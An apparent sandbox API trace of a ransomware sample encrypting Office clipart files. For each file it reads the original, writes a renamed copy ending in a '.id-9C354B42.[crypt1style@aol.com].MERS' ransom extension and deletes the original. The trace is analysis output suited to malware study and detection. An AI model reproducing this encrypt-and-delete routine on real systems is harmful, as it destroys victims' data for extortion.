[0272.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.770] lstrlenW (lpString=".xlsx") returned 5 [0272.770] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.770] lstrlenW (lpString=".ppt") returned 4 [0272.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0272.770] lstrlenW (lpString=".zip") returned 4 [0272.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.770] lstrlenW (lpString=".rar") returned 4 [0272.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.770] lstrlenW (lpString=".bz2") returned 4 [0272.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.770] lstrlenW (lpString=".7z") returned 3 [0272.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0272.770] lstrlenW (lpString=".dbf") returned 4 [0272.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0272.770] lstrlenW (lpString=".1cd") returned 4 [0272.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0272.770] lstrlenW (lpString=".jpg") returned 4 [0272.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.770] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.771] lstrlenW (lpString="BL00985_.WMF") returned 12 [0272.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0272.771] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=3768) returned 1 [0272.771] CloseHandle (hObject=0x3ac) returned 1 [0272.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x20 [0272.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0272.771] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.771] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0272.771] GetLastError () returned 0x0 [0272.772] ReadFile (in: hFile=0x3ac, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0xeb8, lpOverlapped=0x0) returned 1 [0272.835] WriteFile (in: hFile=0x284, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec0, lpOverlapped=0x0) returned 1 [0272.838] ReadFile (in: hFile=0x3ac, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0272.838] WriteFile (in: hFile=0x284, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.838] SetEndOfFile (hFile=0x284) returned 1 [0272.838] CloseHandle (hObject=0x284) returned 1 [0272.838] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.838] SetEndOfFile (hFile=0x3ac) returned 1 [0272.840] CloseHandle (hObject=0x3ac) returned 1 [0272.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0272.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0272.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0272.841] lstrlenW (lpString=".doc") returned 4 [0272.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.841] lstrlenW (lpString=".docx") returned 5 [0272.841] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.841] lstrlenW (lpString=".pdf") returned 4 [0272.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.841] lstrlenW (lpString=".xls") returned 4 [0272.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.841] lstrlenW (lpString=".xlsx") returned 5 [0272.841] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.841] lstrlenW (lpString=".ppt") returned 4 [0272.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0272.841] lstrlenW (lpString=".zip") returned 4 [0272.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.841] lstrlenW (lpString=".rar") returned 4 [0272.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.841] lstrlenW (lpString=".bz2") returned 4 [0272.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.841] lstrlenW (lpString=".7z") returned 3 [0272.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0272.842] lstrlenW (lpString=".dbf") returned 4 [0272.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0272.842] lstrlenW (lpString=".1cd") returned 4 [0272.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0272.842] lstrlenW (lpString=".jpg") returned 4 [0272.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0272.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0272.842] lstrlenW (lpString=".doc") returned 4 [0272.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.842] lstrlenW (lpString=".docx") returned 5 [0272.842] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.842] lstrlenW (lpString=".pdf") returned 4 [0272.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.842] lstrlenW (lpString=".xls") returned 4 [0272.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.842] lstrlenW (lpString=".xlsx") returned 5 [0272.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.842] lstrlenW (lpString=".ppt") returned 4 [0272.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0272.842] lstrlenW (lpString=".zip") returned 4 [0272.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.842] lstrlenW (lpString=".rar") returned 4 [0272.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.842] lstrlenW (lpString=".bz2") returned 4 [0272.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.842] lstrlenW (lpString=".7z") returned 3 [0272.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0272.842] lstrlenW (lpString=".dbf") returned 4 [0272.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0272.842] lstrlenW (lpString=".1cd") returned 4 [0272.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0272.843] lstrlenW (lpString=".jpg") returned 4 [0272.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.843] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.843] lstrlenW (lpString="BS00078_.WMF") returned 12 [0272.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0272.844] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=1444) returned 1 [0272.844] CloseHandle (hObject=0x3ac) returned 1 [0272.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x20 [0272.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0272.844] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.844] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0272.844] GetLastError () returned 0x0 [0272.844] ReadFile (in: hFile=0x3ac, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x5a4, lpOverlapped=0x0) returned 1 [0272.910] WriteFile (in: hFile=0x284, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0272.911] ReadFile (in: hFile=0x3ac, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0272.911] WriteFile (in: hFile=0x284, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.911] SetEndOfFile (hFile=0x284) returned 1 [0272.911] CloseHandle (hObject=0x284) returned 1 [0272.911] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.911] SetEndOfFile (hFile=0x3ac) returned 1 [0272.913] CloseHandle (hObject=0x3ac) returned 1 [0272.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0272.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0272.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0272.913] lstrlenW (lpString=".doc") returned 4 [0272.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.913] lstrlenW (lpString=".docx") returned 5 [0272.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.913] lstrlenW (lpString=".pdf") returned 4 [0272.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.913] lstrlenW (lpString=".xls") returned 4 [0272.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.913] lstrlenW (lpString=".xlsx") returned 5 [0272.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.913] lstrlenW (lpString=".ppt") returned 4 [0272.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0272.913] lstrlenW (lpString=".zip") returned 4 [0272.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.913] lstrlenW (lpString=".rar") returned 4 [0272.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.914] lstrlenW (lpString=".bz2") returned 4 [0272.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.914] lstrlenW (lpString=".7z") returned 3 [0272.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0272.914] lstrlenW (lpString=".dbf") returned 4 [0272.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0272.914] lstrlenW (lpString=".1cd") returned 4 [0272.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0272.914] lstrlenW (lpString=".jpg") returned 4 [0272.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0272.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0272.914] lstrlenW (lpString=".doc") returned 4 [0272.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.914] lstrlenW (lpString=".docx") returned 5 [0272.914] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.914] lstrlenW (lpString=".pdf") returned 4 [0272.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.914] lstrlenW (lpString=".xls") returned 4 [0272.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.914] lstrlenW (lpString=".xlsx") returned 5 [0272.915] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.915] lstrlenW (lpString=".ppt") returned 4 [0272.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0272.915] lstrlenW (lpString=".zip") returned 4 [0272.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.915] lstrlenW (lpString=".rar") returned 4 [0272.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.915] lstrlenW (lpString=".bz2") returned 4 [0272.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.915] lstrlenW (lpString=".7z") returned 3 [0272.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0272.915] lstrlenW (lpString=".dbf") returned 4 [0272.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0272.915] lstrlenW (lpString=".1cd") returned 4 [0272.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0272.916] lstrlenW (lpString=".jpg") returned 4 [0272.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.916] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.916] lstrlenW (lpString="BS00135_.WMF") returned 12 [0272.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0272.916] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=1044) returned 1 [0272.916] CloseHandle (hObject=0x3ac) returned 1 [0272.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x20 [0272.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0272.916] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.916] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0272.917] GetLastError () returned 0x0 [0272.917] ReadFile (in: hFile=0x3ac, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x414, lpOverlapped=0x0) returned 1 [0272.933] WriteFile (in: hFile=0x284, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x420, lpOverlapped=0x0) returned 1 [0272.933] ReadFile (in: hFile=0x3ac, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0272.933] WriteFile (in: hFile=0x284, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.933] SetEndOfFile (hFile=0x284) returned 1 [0272.934] CloseHandle (hObject=0x284) returned 1 [0272.934] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.934] SetEndOfFile (hFile=0x3ac) returned 1 [0272.935] CloseHandle (hObject=0x3ac) returned 1 [0272.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0272.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0272.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0272.936] lstrlenW (lpString=".doc") returned 4 [0272.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.936] lstrlenW (lpString=".docx") returned 5 [0272.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.936] lstrlenW (lpString=".pdf") returned 4 [0272.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.936] lstrlenW (lpString=".xls") returned 4 [0272.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.936] lstrlenW (lpString=".xlsx") returned 5 [0272.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.936] lstrlenW (lpString=".ppt") returned 4 [0272.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0272.936] lstrlenW (lpString=".zip") returned 4 [0272.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.936] lstrlenW (lpString=".rar") returned 4 [0272.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.936] lstrlenW (lpString=".bz2") returned 4 [0272.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.936] lstrlenW (lpString=".7z") returned 3 [0272.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0272.936] lstrlenW (lpString=".dbf") returned 4 [0272.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0272.936] lstrlenW (lpString=".1cd") returned 4 [0272.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0272.936] lstrlenW (lpString=".jpg") returned 4 [0272.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0272.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0272.937] lstrlenW (lpString=".doc") returned 4 [0272.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.937] lstrlenW (lpString=".docx") returned 5 [0272.937] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.937] lstrlenW (lpString=".pdf") returned 4 [0272.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.937] lstrlenW (lpString=".xls") returned 4 [0272.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.937] lstrlenW (lpString=".xlsx") returned 5 [0272.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.937] lstrlenW (lpString=".ppt") returned 4 [0272.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0272.937] lstrlenW (lpString=".zip") returned 4 [0272.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.937] lstrlenW (lpString=".rar") returned 4 [0272.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.937] lstrlenW (lpString=".bz2") returned 4 [0272.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.937] lstrlenW (lpString=".7z") returned 3 [0272.937] 